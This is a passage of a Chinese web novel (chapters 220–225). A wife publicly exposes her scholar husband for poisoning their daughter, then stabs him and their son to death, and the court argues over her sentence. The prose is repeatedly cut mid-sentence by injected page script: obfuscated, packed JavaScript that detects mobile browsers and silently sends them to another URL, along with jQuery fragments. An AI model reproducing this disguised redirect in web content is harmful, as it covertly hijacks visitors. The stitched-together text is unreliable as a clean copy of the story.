$(''.inform'').remove(); $(''#content'').append('' 条血脉。可我的丈夫,如今举世闻名的于大儒于淮山!他当初与关山月关先生并称为南于北关。于淮山在才华学识方面略逊关先生一筹,就想了这么个恶毒的法子。他趁着我的薇儿产后身子虚弱,竟在她的饮食里投毒。在其亡故之后,又模仿她的笔记写下一封遗书,说自己是殉节而死!” “当初这件事传的沸沸扬扬,于淮山借助此事一跃成为国内首屈一指的大儒。他倒是功成名就了,可怜的我的薇儿,竟被自己的亲生父亲杀死!不是我的薇儿临去之时,想到竟是被自己亲生父亲所害,心中该是何等的悲凉……” 底下有不少人都忍不住倒抽了一口凉气,这虎毒还不食子呢,于大儒身为天下文人典范,竟为了一点点名声要害自己的亲生女儿于死地。这简直是令人发指! 有不少人都面色不善。眼中原本对于大儒的尊敬悄然转化成了失望害怕。这世上之人有谁不害怕一个连自己亲生女儿都害的人呢?今日害的是自己的亲生女儿,明日害的可能就是旁人。 “实在想不到,于大儒竟是这样的人。” “看起来可不像啊,这其中会不会有什么误会?” “这还能有什么误会?!微山大家可是于大儒的结发妻子。他们夫妻二人结发近四十 载,难道微山大家闲着没事儿陷害自己的丈夫吗?” “这,这倒是……” 夫妻一体,如果不是当真到了无法忍受的地步,微山大家又岂会揭发自己的丈夫? 此刻于大儒面色有些难看,先是看了一眼儿子,发现对方只是一味的陷入怔愣,竟不知该如何辩解,忍不住皱了皱眉,这个儿子还是一如既往的没用。 “你我可是夫妻啊。你竟然用这种事来构陷于我……罢了罢了。既然你说的如此清楚,你可有证据?” 当初的事情他做的十分小心,且当时在场的仅有自己和死去的女儿两人,那可是真正的死无对证! 第二百二十章 你知道为什么吗? 时至今日,就算微山再如何聪明,难道还能找到证据不成? 微山微微顿了一下,她本来应该感到失望的,但也不知是不是这几十年间失望的次数太多,她现在已经没了失望的力气,只是觉得好笑。 这么多年过去,余淮山的内心依旧是如此肮脏险恶,没有一丝改变,他从头到尾都只是为了自己。 “是,当初的事情我确实没有证据。” “那你就不能在众人面前胡说……” “但几日前你意图勒死阿阳,却不知道阿阳自小在我的嘱咐下悄悄习武。虽说不至于成为武林高手,但也能强身健体。虽说因为丈夫离世太过悲痛,茶饭不思,以至于瘦弱许多。但也不是你一个老头子能杀得了的!阿阳侥幸从你手下逃的性命,你的手臂上还有阿阳挣脱时留下的伤痕!” 说着,微山大家毫不犹豫一把拽过于大儒的胳膊,直接将他的袖子捋起,扒开裹着的白布,露出两条布满抓痕的胳膊。似乎是因为当事人用力太过的缘故,部分伤痕皮肉翻卷,看起来颇为狼狈。 底下顿时有好事之人高声疾呼。 “于大儒还有什么可说的?不会是准备说自己不小心被外边儿人伤了吧?” 喊话之人正是九阙,她早就嫌弃在马车里看不清楚,钻入人群之中,这会儿正嫌事儿闹得不够大。 站在高台上的于大儒一眼就看到了笑盈盈的应九阙,眼角的纹路抽了抽,尽量心平气和的开口。 “当然不是。但正如方才那位大人所言,我手臂的伤可以是任何人所抓,谁能证明是阿阳抓的?” 不愧是名满天下的大儒,他这句反问倒是将不少人给问住了。不过很快就有人给出了答案。不是旁人,正是九阙。 “这位先生,如果你放心咱们大景朝刑部官员的能力,倒是可以将此事交由刑部处理,毕竟若是不能好好解决此事,先生岂不是要沦为众人茶余饭后的笑柄?我大景朝刑部上下官员细致入微,善于查案。这等小事儿,交由他们处理,岂不恰逢其会?” “这……” 底下众位学子听到这话倒是纷纷赞成。毕竟刑部统管天下案件,像这种对比指甲印儿的事儿,交给他们处理最合适不过。 然而于大儒最不想的就是将这件事交由刑部处理,若是真交给刑部,就算最后能证明他是无辜的,自己的名声也会在这场调查中毁于一旦。 当然了,自从微山站上来开始,自己就没有名声可言了。可想而知二皇子将会如何暴怒。他可是在自己身上下了重码,若是不能得到他想要的,以二皇子的脾气,谁知道会如何待他? 更何况以如今的局势来看,二皇子可是未来的皇帝。惹了未来皇帝不喜,他还能有什么活路?筹谋大半生,就是为了登上天下文人之首。若是由皇帝折节,三请出山,那可真是文人最顶尖的殊荣。可他谋划的这一切,全都被毁了! “也罢,我就跟着去一趟刑部。” 于大儒深深的叹了口气,看着李澄园的眼神依旧深情不悔。好像自己即将面对的一切只是为了哄微山大家似的。 微山大家自不用说,恶心的够呛,倒是下面围观的众人不明真相,反而觉得于大儒这般坦然面对,或许一切真的是误会呢?于情于理,大家还是不愿意相信一个人竟然能做出这等畜生般的事情。 “说起来,像这等鉴定指甲印儿的事儿也有可能会出现误差啊。而且人证只有微山大家一个,确实略显不足……” “这么说来,确实是啊……” 眼看着底下人又议论纷纷,于大儒的嘴角悄悄勾起一个不易叫人察觉的弧度。 九阙也皱了皱眉。这个时代的证物核验技术确实不高,人们会有这样的怀疑倒也不假。不过话说回来,有微山大家一个人证还不够吗?又或者有什么夫妻不能相互作证的规矩? 就在此刻,一个虚弱的女声响起。 “人证还有我!” 原本已经得逞的于大儒听见这个声音,微微一顿,眼神十分复杂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846402|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众人循着声音望去,发现是个极其清瘦病弱的女子,脖子上还勒着一方厚厚的丝帕。 很多人在第一时间反应过来这个年轻女子是谁,忍不住露出复杂的表情。通过方才于大儒微山大家二人之间的对峙,其实人们已然能在心中勾勒出一个具体的故事。但他们实在是没想到,作为当事人的于家外孙女儿会出现,而且要举证自己的亲外祖父。 如今的时代,孝字为先,讲究一个孝道。微山大家举证自己的丈夫也就算了,可身为子孙举证自己的长辈,在很多古板的人看来,这是相当于理不合的。 于是当即就有人开口,语气不善。 “于家女,你可要想清楚了,你要证明害你的人,那可是你的外祖父,是你的长辈!” “外祖父又如何?当初他杀我母,如今又要杀我。难道做子孙的只能眼睁睁看着铡刀落下,自己却不能反抗?” “你?!简直不可理喻。” “我看不可理喻的是尊驾才对吧。不如你也试试被自己的亲外祖父勒住脖颈,用力到连手背青筋都突出来的滋味?你知道那是什么感觉吗?除了无法呼吸, 胸口剧痛,心上的疼痛才是最剧烈的。我至死都不敢相信,想要我命的,竟然是我的亲外祖父!” 与众人想象中的柔弱不同,于初阳是个极其坚韧的女子。似乎是经历过生死大关,她的性情更为冷静。面对旁人不合理的质疑,直接呛回去,不留一丝情面。大概也只有这样的人,才能从至亲的暗杀中活下来。 接下来任由周围众人对她如何指责,于初阳也丝毫不在乎。她一步一步坚定的走上高台,走到眼神不敢看她的于大儒面前。 “外祖父,当初我母亲殉节,得利的人却是你。为了感念你教出这么好的女儿,我父亲家中让我姓于。我不知道这其中到底有什么牵扯,但我当初甚至还为此高兴过,因为我实在太想记不清的娘了,能和她有同样的姓氏我很高兴。可现在我竟觉得恶心无比,外祖父,你知道为什么吗?” 第二百二十一章 PUA大师 于大儒没吭声,因为他此刻已经能猜出对面想说什么,果然,于初阳冷笑一声。 “因为每当有人喊我这个名字,都会让我想起你。” 于初阳一把扯开自己脖颈处缠着的丝帕,露出里面狰狞的淤痕,引起下方人群的一阵惊呼。 上头那女子虽然当着这么多人的面揭发自己的外祖父,可是看她脖颈处狰狞的淤痕,实在叫人胆战心惊。 天啊,当真会有做长辈会对晚辈出这么狠的手吗?看那黑紫,的模样明显就是想置她于死地啊! “外祖父,名利富贵对你而言就那么重要吗?明明就算待在江东一辈子,你也能过很好的一生。非得将我们这一家子搅的一团乱麻,大家都活不下去,你才心满意足吗?” “你想勒死我的时候,真是用尽了全身的力气。我以前只觉得你清瘦,但没想到清瘦的你竟然有这么大的力气。和当初害死我母亲的时候用的力气是一样的吗?” “我知道你为什么这么做,不就是想迎合二皇子吗?” 于大儒连连呵斥,想要制止对方大逆不道的言论,然而于初阳连死都不怕,怎么会怕这点儿呵斥? 她狠狠地摆脱对方想要过来阻拦的动作,声音尖利到凄厉。 “你不就是想通过迎合二皇子来巩固自己在文人之间的地位吗?这么多年了你怎么还是不明白?唯有自身的才干学识,才能成为于文人之间立足的根本。舅舅是这样,你也是这样。舅舅剽窃我的文章,正如同你剽窃外祖母的文章一样。我真的很奇怪,难道脱离女人,你们就写不出更好的东西了?” 这几句话带来的杀伤力比以往那些的总和都要深。什么?在文人中独占半壁江山的于大儒竟然剽窃过妻子微山大家的作品?文人之间最恨的就是这种剽窃之事!于大郎做过也就算了,难道于大儒也做过这样令人不齿之事? 当即就有崇拜于大儒的学子忍不住崩溃大喊。 “于先生,她说的都是真的吗?你真的嫖窃过微山大家的作品?” “我不信!那可是余先生啊!他自身才高八斗,为什么要去嫖窃妻子的文章?我承认微山大家书画双绝,但从未听说她在写文章方面有特殊的天赋。说不定是这个女子悲愤之下胡乱攀咬?” 听着还怪可笑的,九阙甚至还真忍不住笑出了声。 原来在这些人眼里,两个女子的性命竟然比不过剽窃文章之事。不过都说龙生龙,凤生凤,老鼠的儿子会打洞。既然于大郎做过这种事儿,说不定他父亲也当真做过这种寡廉鲜耻之事? 听着周围众多学子的破防声,九阙觉得自己的手痒痒的。这些个破防的男人竟然还哭唧唧的,听的她耳朵发麻。 此时此刻于大儒也有些崩溃。他期待了一辈子的高光时刻被自己的妻子和外甥女毁了个一干二净,就算今日他能通过花言巧语洗脱自己身上的嫌疑,从今往后,但凡有人提起他的名字,都要将这出人间残与他挂钩,到时候不管真相如何,谁还会相信? 毕竟世人就是这么愚蠢的东西。 他今日是洗脱不了嫌疑了,但一定不能将二皇子也拉下水。否则到时候他真会求生不能求死不得。 于大儒也是个果断之人,当即就决定自己将这些事情一力扛下。 “我承认,当初在你母亲的事情上,我的做法有失偏颇。但女子出嫁本就应顺从丈夫的一切,既然丈夫已经去世,她还活着做什么?毕竟她生的又不是个儿子,只是个闺女,不能承继宗族之事。如此,追随丈夫离去也能赚个美名。而且当初那碗下了毒的汤药并不是我强给你母亲喝的,是你母亲自己要喝。” “我是个父亲呀,亲眼看着自己的女儿痛哭流涕哀求我,让她追随自己的丈夫而去,你知道我的心有多痛吗?但即使痛心,但我赞扬她这种高贵的品质,因此我答应了她。虽然很难理解,但你应知道,正是因为你母亲的殉节,才让你前十几年生活的如鱼得水,你看看在你父亲家中,这十几年有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846403|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁对你不尊重过?甚至最后还给你找了个如意郎君,你难道就没有从中获利吗?” 九阙默默捏紧了拳头,这个于大儒是懂PUA的,三言两语就把自己的过错说成了迫不得已。甚至还把于初阳也拉下了水。但凡是个意志力稍微不坚定的,说不定就要精神崩溃了。毕竟自己也通过母亲的死获得了利益。 果然,于初阳的脸色不太好看。 见此情形,于大儒想要乘胜追击。 “我知道你母亲的离世是你心中的痛,但我心里未必比你好受。我的女儿自幼聪颖,才高八斗,追随我夫妇二人学习,勤奋刻苦,奉养我们也没有一丝不妥之处。正因为她是我最疼爱的女儿,才不忍拂了她最后的意愿。初阳,你应该理解我的,你会违逆母亲最后的遗愿吗?” “而且,此事跟二皇子毫无关系,是我,想要宣传新的学说,开宗立派,一时被猪油蒙了心。二皇子殿下心思澄澈,温润守礼,受了我的蒙骗才会帮我宣传。此事是我对不起殿下,日后必定会亲自向其请罪。但你却不能因此事而怨怪殿下,殿下是无辜……” “噗嗤!” 正在滔滔不绝试图蛊惑于初阳的于大儒,突然 感到心口一阵剧痛,低头一看,发现是一只枯瘦的手握着一根乌木沉簪狠狠扎入他的心脏。 顺着那只手往上看去,果不其然看到了一张刻骨铭心的脸。那不正是自己的妻子李澄园吗? “你,咳咳咳……” 你为何要杀我?还是当着这么多人的面,难道你自己都没想过要活下去?众目睽睽之下,亲手杀夫,你那么聪明的人也会犯这种错误? 李澄园实在受不了这个男人满口的花言巧语,这些年来类似的话她听了不知多少遍,有些话听着听着就当真了。 这种恶心的话,对方竟然也能说的出口。甚至还借此洗脱了自己的嫌疑…… 初阳可能还会被骗,但自己绝不会再被这种雕虫小技蒙蔽双眼! 第二百二十二章 双杀 这根簪子,她磨了不知多少遍,尖利无比。每当想起姓于的做过的那些事,说过的那些话,她都控制不住心中汹涌澎湃的杀意,每当此刻,她都会去磨这根簪子。 所幸,这个簪子不仅较为沉重,而且经历过这么多次的研磨,不仅没有迟钝,反而变得更加尖利。才能在这种关键时刻一击必中,狠狠插入姓于的那颗黑的发臭的心脏。 “你还是一如既往叫人觉得恶心。说这么多话是想洗脱自己的心意?这种小把戏你骗得了孩子骗不了我!作为你的枕边人,我听了多少遍这种胡言乱语,估计你自己都记不清楚,可我却记得清清楚楚!” “当初哄骗我将文稿交给你的时候是这样;让我放下探求学问之路,洗手做羹汤时是这样;害死我的孩子是这样。如今又要当着全天下人的面颠倒黑白了吗?姓于的,我觉得你不该当个先生,你该当个合纵连横的纵横家。你这条三寸不烂之舌,不知蛊惑了多少人。哈,当初相信你是我傻,可我不会傻一辈子。文名,文章,这些东西我都可以不在乎。可我的女儿,我的外孙女儿,我不能不在乎!” “看到这只发簪了吗?我磨了整整二十年。这二十年里我没有一刻不想让你死。你的毕生所愿不就是天下闻名吗?今天我就帮你一把。你放心,今天过后你绝对会闻名于天下!遗臭万年的那种!” “噗!” 于大儒本来还想说话,但那根发簪一被拔出,他连半个字都说不出来了,虚弱的不得了,胸口大股大股的血窜出来。本来于大儒今日穿了一件纯白的袍子,或许是为了彰显自己品行无瑕,但此时此刻,那件衣服的存在只是让他身上的血迹更加明显。 底下本来还想听这场争论有个结果的众人被这突如其来的一幕给吓傻了。片刻过后,众人终于恢复神志,尖叫声层出不穷。 原本只是来看热闹的众人怎么也没想到竟然会亲眼目睹妻子杀夫这一幕。而且现场血淋淋的,实在太过骇人,不少人都连滚带爬的跑了。九阙被拥挤的人群簇拥着,不过她力气大,像个定海神针一般站在原地。不仅没有跟着人群逃跑,反而想朝着高台前进。 下面众人都如此慌乱了,更别说近距离观察到这一幕的于大郎,他此刻已经吓得瘫软倒地,不断的用手撑着身体往后倒退,生怕刚刚亲手杀了父亲的娘亲注意到自己,毕竟他在妹妹和外甥女儿这两天事儿上掺和的也不少。而且他也曾经抛弃过母亲的作品。 其实于大郎一直都不明白,身为女人的母亲为什么能写出那么好的文章?书画双绝也就算了,甚至连策论诗赋都写的那么好,可这些才华为什么没能遗传给自己?偏偏都给了妹妹,妹妹是个女人呀,她又不需要做官,不需要名扬天下,只需要待在大宅院里生儿育女伺候丈夫公婆也就是了。可偏偏,上天就是这么喜欢捉弄人,身为长子的自己才干平平,妹妹却学富五车,这公平吗?而且母亲明显更偏爱妹妹,为什么?明明都是她的孩子! 这会儿,李澄园也注意到了自己这个儿子,她紧走几步,手中被磨得尖利的簪子就像一只匕首,狠狠没入了于大郎的腹部。 痛苦吗?当然是痛苦的,毕竟这是自己怀胎十月才生下的孩儿。可她不这样做不行啊,自己这个儿子就像一只水蛭,紧紧的扒在妹妹外甥女,儿孙妻子身上,不断汲取他们的血液才能存活,更可恨的是,他丝毫不觉得这样的生活方式有什么不对,甚至还引以为傲。 “我这辈子最后悔的事就是被你父亲的花言巧语蛊惑,将你交给你祖父祖母教养,瞧瞧他们三个把你教成了什么样?自私贪婪!觊觎不属于自己的东西,得不到还要反咬一口。你和你爹简直一个样!” “娘,娘我不想死,我可是你的儿子啊,你这辈子唯一的儿子。你就不能饶我一命吗?快救救我,我在流血,我肚子好疼啊……” “疼就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846404|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对了。” 李澄园一把揪住于大郎的头发,揪的他头皮生痛,眼中泛起一层泪花。 “你妹妹临死时,比你还要痛苦十倍!当初你明明就在现场,为什么没有制止,反而添油加醋?你就那么恨她吗?她可是你的亲妹妹!你们两个一母同胞,都从我的肚子里爬出来,有什么深仇大恨非得置她于死地?若不是有绿韵相告,我几乎不敢相信自己的耳朵。我的女儿,被自己的亲生父兄逼死。她在喝下那碗毒药时,心中该是何等的悲凉……” 于大郎肚子挨了一下,他到底比于大儒年轻些,也能扛得住,这会儿挣脱李澄园的手不断往后爬,爬过的地方留下了一串血迹,看起来简直可怕的很。 他这会儿不断朝着任何一个能救他性命的人求救。离得最近的自然是自己的外甥女儿于初阳。 他拼命伸长了手,想要求得一丝生存下去的希望,然而他却失望了,因为他对上的是李初阳充满仇恨的眼。于大郎忍不住想起,几日前,父亲准备勒死于初阳的时候自己就在旁边,甚至还动手帮忙,只不过他们两个都没想过于初阳一个小女孩儿,竟然会武,而且绝地反杀,凭着一己之力将两个大男人打倒。 但此时此刻,于大郎也顾不了许多了。 “初阳,救我!我可是你舅舅啊,你忘了 ,你儿时我也曾带你出去玩,给你买过风车糖葫芦……” “我当然记得。” 于大郎顿时有了希望。 于初阳低头看着自己这个名义上的舅舅痛苦挣扎的丑陋模样,只觉得可笑,到了这个时候他还在为自己辩解,甚至还试图用莫须有的亲情想让自己心软。 唉,这种人,果然从来都不会后悔。 “所以我还记得,你那时候带我出去玩,不过是为了从我手中骗走写好的文章。一根糖葫芦换一篇诗赋,对你来说再划算不过了,不是吗?” 第二百二十三章 应该叫她五马分尸 “疯了,都疯了……” 于大郎根本不明白台上这两个女人为什么能做到这种地步。于初阳不是没死吗?更何况她也从这件事上得到了诸多利益,凭什么这个时候对着自己喊打喊杀?这些年享受荣华富贵的时候怎么没见她吭一声?不就是她娘的一条命吗?那条命有这么重要? 还有自己的亲娘,从小到大她一直都偏心妹妹,没想到今日竟然愿意为了那个早就死了的妹妹杀了自己的丈夫! 都过去快二十年了,什么样的仇恨能让他们铭记这么长时间? 此刻台下那些看热闹的百姓已经散了个干净,九阙和淳于霜几个得以顺畅的来到高台之上。淳于霜本就在刑部就职,上去查看了一下这对父子二人的伤势,摇了摇头。 “救不活了。这个伤口,除非神仙下凡,谁也不能让它不再流血。” 他这话确实也没说错,因为这父子二人此刻已然是弥留之际,瞳孔扩散,只是嘴一张一合,不知在说些什么。 而李澄园和于初阳并没有要离开的意思,她们二人一直站在原地不曾逃脱,正好看到九阙和淳于霜几个过来,李澄园有些遗憾的叹了口气。 “想来您就是镇安伯吧?一直耳闻,从未亲见。本来还想着若是有机会一定要与您见上一面,本朝第一个因功封伯的女子,实在叫人好奇。只是抱歉了,把你们拉进这场风波中非我所愿。现在你们可以把我带走了。” “不!” 于初阳连忙制止。 “我也是帮凶,把我一起带走吧。” “初阳,你别胡闹!你是什么帮凶?你只是没来得及制止我罢了。” 九阙无奈的看了一眼这祖孙二人。 “如今最重要的不是争着承认这杀人之罪。这看陛下如何处理了。” 是的,这件事毕竟和二皇子挂钩,如今闹得这样大,想来再过片刻,整个京城的百姓都知道了,像这种弑父杀子之事实在骇人听闻,陛下一定会亲自处理,只看这祖孙二人的证词对自身是否有利了。 于大儒和于大郎此刻还有一息尚存。尤其是于大儒,他不停的用眼神示意走上来的九阙等人,似乎在呼唤旁人救他。只不过,他的伤势实在太过严重,此刻他感到随着大量鲜血从伤口中涌出,身体中的大部分热度也随之一起流逝。他应该是活不成了。 于大儒从来没有如此清晰的认识到这一点,他用尽最后的力气看向自己的妻子,那个与他相濡以沫将近四十年的李澄园眼中闪过一丝复杂。他想过自己名传天下名留青史的时候会是什么样的。或许他会因为才华斐然被上位者看中,或许他会因为学识渊博被天下学子敬重…… 但唯独没想过自己会因为被妻子亲手杀死而闻名,他都可以想象后世的野史会如何编排自己了。 你到底想做什么?难道杀了我就能解决一切问题了?以你的聪慧,难道不知就算杀了我,我们的女儿也回不来了?甚至还会因此让你染上牢狱之灾。还有,你真的这么恨我吗…… 似乎是察觉到于大儒的眼神,李澄园低下头来看了他一眼,似乎是想起了什么。 “你放心,你心心心念念的莲子羹我会给你倒在坟头上,毕竟你不就是靠着这一招哄我打压我几十年?” 每次外出参加晚会都会让自己在家给他做莲子羹,说什么在外面参加文会太过辛苦,若是回来能吃上一碗娘子亲手做的莲子羹该有多么幸福…… 啊呸! 年轻的时候是她傻,被对方持之以恒的甜言蜜语给哄骗了,现在她可不傻了。这男人的嘴啊,想要从你身上获取利益的时候,是真的甜如蜜。有的时候她也会想,算了,就这样吧。装一天很难,但他能持之以恒的装一辈子,岂不代表他本身就是这样的人? 可是自己就是没办法把这口夹生的饭咽下去。 “你知道,我的眼里最容不得沙子,可我还是硬生生被磨了这么多年。我忍无可忍,所以不想再忍了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859363|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一脚踢开于大儒想要伸手抓住她裙摆的手,李澄园由衷的松了口气,他就这么一直看着,看着这个男人一点点没了呼吸,才觉得这几十年来一直加在自己身上的枷锁在此刻悄然消失于无形。 太舒服了,这种感觉真的太舒服了。 她完全没有亲手弑夫杀子的恐怖,只是觉得终于能将这一切结束,心中感到无比畅快。我的儿,我终于可以坦坦荡荡的去见你了。 面对那些蜂拥而上的衙役,李澄园主动伸出了手。 九阙安静的看着这位老人。或许在这一刻,她才真正得到了救赎。 李澄园弑夫杀子这件事迅速占领了京城舆论的顶峰。不仅外面的百姓在热烈讨论,就连朝堂之上都因为此事闹开了锅。 大朝会上,一个又一个的官员跳出来对李澄园加以批判,他们或许此前从未见过她,或许听过她的名声,又或许对她一点也不了解,但在这件事上他们秉承了一致的看法。 那就是不行!必须严惩不贷! “陛下!女子弑夫杀子,简直骇人听闻!臣几十年都未曾听过这般惨绝人寰之事,还请陛下一定严惩李澄园!像她这样的人,心中可有君父,可有人伦?” “陛下应判她斩立决!如今外头传的沸沸扬扬,如果陛下不及时加以干预,恐怕会令百姓恐慌!” “那女人应该五马分尸才是!于先生可是我朝大儒啊,他平日里教导过的学子数不胜数,这样一个于国有益之人,竟然被自己的发妻杀死,实在冤枉。陛下,求您早下决定,严惩罪魁祸首!” 几个最先跳出来的小官絮絮叨叨,说的都是一样的意思。虽说大家伙能理解他们心中的愤怒,但跳的这么高是不是有些不太体面呀? 再说了,谁不知道你们几个可是二皇子的狗腿子?蹦跶的这么欢快,还不是得了二皇子的授意? 不过从他们几个的态度上,就能看出来二皇子对这件事的看法,当即就有人忍不住心中叹了口气。 第二百二十四章 要不然可是大不孝啊 身为未来皇帝,做事怎么能只凭自己的喜好?谁不知道二皇子近些时日一直蹦跶着宣传自己的新式学说,打压女子地位? 而且那于大儒正是二皇子特意找来想要让其削弱九阙等几个女官地位的筹码。谁能想到那棋子不仅没起到相应的作用,而且还招来了大大的笑话。 本来还想借于大儒把贞洁牌坊这事儿给确立下来,没想到人家妻子直接掀桌子不干了,还直接把于大儒和于大郎给刺死。这还立个什么贞洁牌坊? “陛下,臣倒是以为,李澄园之所以弑夫杀子,有其正当理由,毕竟是于大儒谋害女儿和外孙女在先。李澄园为了保护自己的女儿外孙女,不得已出手杀之,否则下一个死的就是她的外孙女儿……” “赵大人,你这是什么意思?!难道有正当理由就可以杀人了?照你这么说,牢里那么多杀人犯,因为都有自己的理由,咱们就不必判处他们死刑了?” “你这是强词夺理,我只是就事论事罢了。换成个正常人,也不会害自己的女儿外孙女儿!因此我觉得李澄园的所作所为情有可原!” “你在说什么屁话?到明儿个你让自家夫人给杀了可好?” “你说什么?你竟敢诅咒于我?!” 本来就不对付的两人因为这件事儿又杠上了,话不投机半句多,不过才说了几句,两人直接冲上去互相殴打。 噼里啪啦,虽然只是两个文臣,这打起架来还真挺好看的,那些原本昏昏欲睡的武官这下可来了精神,伸长了脖子看两个菜鸡打架。只是看他们的轻飘飘没力道的动作都忍不住遗憾,这力气也太小了吧,打半天脸上才多了块红肿?使劲儿打不行吗? 高台之上,景泰帝的脸色越来越不好看。直到底下乱糟糟成一团之际,狠狠拍了拍龙椅扶手! “你们是当朕死了不成?” 底下混乱的一幕顿时陷入了僵硬,然后所有人齐刷刷下跪。 “陛下息怒。” “朕息不了!你们是不是没事儿可干了?就这么一件事儿,整个早朝吵来吵去吵来吵去!朕要你们还有什么用?!老二!你来说说这件事儿该怎么处理?” 二皇子猛然被点名,愣了一下,但这些时日的‘储君’生涯倒是叫他多了几分历练,勉强镇定下来,走上前去先对着景泰帝行了一礼,这才侃侃而谈。 “儿臣认为,虽然情有可原,但李澄园弑夫杀子的这一罪行有目共睹。为了平定天下非议,还是应当严惩。不仅是李澄园,还有于初阳。当初祸事发生之时,于初阳也在,可她非但没有制止,反而对自己祖父舅舅的求救置若罔闻,因此,以儿臣所见,于初阳也当严惩。” “……以皇儿所见,该如何严惩?” 听到父皇的称呼都变了,二皇子心中顿时涌出一股喜意。父皇这定然是十分满意他的回答。于是越发自信。 “李澄园弑父杀子,罪无可恕。杖八十,判秋后处斩!至于于初阳……” 二皇子脸上抑制不住,露出了一抹厌恶,比起李澄园,他更厌恶于初阳。 当初,姓于的分明说过,会让这个外孙女殉情而死,也好让父皇顺理成章的赐下贞洁牌坊。自此以后,女子自然而然的就柔顺恭谨了。可偏偏,于初阳竟然苟且偷生!她死了难道不好吗?非得这么活着,真是给自己的夫君蒙羞。 “就也判她秋后处斩吧。” 这下不仅是听不下去的九阙,就连前方几个阁老都忍不住皱了皱眉。 李澄园也就算了,毕竟她真的杀了人,虽说这个处罚有些严苛,但也不是不能容忍。可于初阳,她可没动手啊。二皇子不能因为自己的好恶就随意抹杀无辜之人。这非是明君之相。 只是如今二皇子风头正盛,没人敢在这个时候站出来明目张胆的反对,但九阙敢。 “二殿下,微臣有不同的看法。那于初阳并未动手,为何也要被判处死刑?” 二皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859364|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子如今最讨厌的人非九阙莫属。他本来想下意识的呵斥一句,女人怎么能在男人窝里开口,但很快反应过来,对方如今也是正五品官员,能被尊称一声小阁老的。 只能强压着心中的厌恶。 “应大人,那于初阳眼睁睁看着自己的外祖父舅舅被杀,竟然也不阻止,事后也不叫大夫救治。这和共同谋杀有什么区别?” “所以二殿下这是不靠证据,只靠自己的臆想就判别人处斩?” 嘶! 底下有不少官员都用看英雄的眼神看着应九阙。这闺女也太猛了吧。谁不知道二皇子虽然看上去温和守礼,礼贤下士,实际上最是小肚鸡肠,谁要是得罪了他,他能记一辈子。 当官的最怕上头最大的领导是这德行,因为大伙儿谁也不知道自己会在什么时候得罪对方。如果连底下人犯错都无法容忍,日后当官可就难过喽。 果然,二皇子的眼神阴冷了片刻,随即几乎是咬牙切齿的开口。 “哦?应大人有何高见?说起来应大人当初也在现场,想来也是亲眼所见了?就是不知道,应大人天生神力,当时为什么没有阻止惨案发生?” “呃……殿下,虽说当初微臣在现场,可谁规定天生神力就能及时 制止惨案发生?那于大儒于大郎被捅的时候,微臣还在台下。怪就怪微臣实在是没生了双前后眼,不能预料别人的下一步动作是什么。还有那于初阳,实在是愚蠢!舅舅剽窃她的文章算什么?外祖父和舅舅一同逼死亲娘又算得了什么?” “身为女子,外孙女儿,外甥女儿!就得老老实实的任由外祖父和舅舅剥削。那文章既然于大郎想要,送给他不就得了?亲娘都死了那么长时间了,何必还要翻旧事为亲娘伸冤?装聋作哑不就成了?” “还有,外祖父和舅舅想要自己的命博一个好名声,趁她虚弱想要勒死她?哎,这还不赶紧老老实实伸长了脖子任由对方勒死?要不然可是大不孝啊!” 第二百二十五章 鸣冤鼓 